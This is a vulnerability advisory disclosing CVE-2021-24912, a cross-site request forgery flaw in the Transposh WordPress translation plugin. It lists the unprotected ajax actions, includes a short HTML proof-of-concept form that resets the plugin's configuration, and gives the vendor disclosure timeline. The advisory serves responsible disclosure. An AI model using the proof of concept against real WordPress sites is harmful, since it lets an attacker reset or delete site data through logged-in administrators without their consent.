ADVISORY INFORMATION

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Transposh WordPress Translation 1.0.8.1 and below

INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

VULNERABILITY DETAILS

The WordPress plugin lacks anti-CSRF protection on a lot of its functionalities such as the following WordPress ajax actions:

tp_backup - Initiates a new backup tp_reset - Resets the plugin’s configuration tp_cleanup - Deletes automated translations tp_dedup - Deletes duplicates tp_maint - Fixes internal errors tp_translate_all - Triggers an auto-translation of all entries tp_translation - Adds a new translation for a given item

Since there is no anti-CSRF token protecting these functionalities, they are vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform a variety of attacks as mentioned above.

To successfully exploit this vulnerability, a user with the right to access the Transposh “Utilities” or the right to add new translations must be tricked into visiting an arbitrary website while having an authenticated session in the application.

PROOF OF CONCEPT

An exemplary exploit to reset the plugin’s configuration:

<html>
  <body>
    <form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="tp&#95;reset" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

SOLUTION

None. Remove the plugin to prevent exploitation.

REPORT TIMELINE

  • 2021-08-19: Discovery of the vulnerability
  • 2021-08-20: Contacted the vendor via their contact form
  • 2021-08-20: Vendor response
  • 2021-08-20: Sent all the PoC exploits
  • 2021-08-20: Vendor acknowledges the issues
  • 2021-09-14: Requested status update from vendor
  • 2021-10-07: No response from vendor, requested status update again
  • 2021-10-25: CVE requested from WPScan (CNA)
  • 2021-10-27: WPScan assigns CVE-2021-24912
  • 2022-05-22: Sent request for status update on the fix
  • 2022-05-24: Vendor states that there is no updated planned so far
  • 2022-07-22: Public disclosure

REFERENCES

None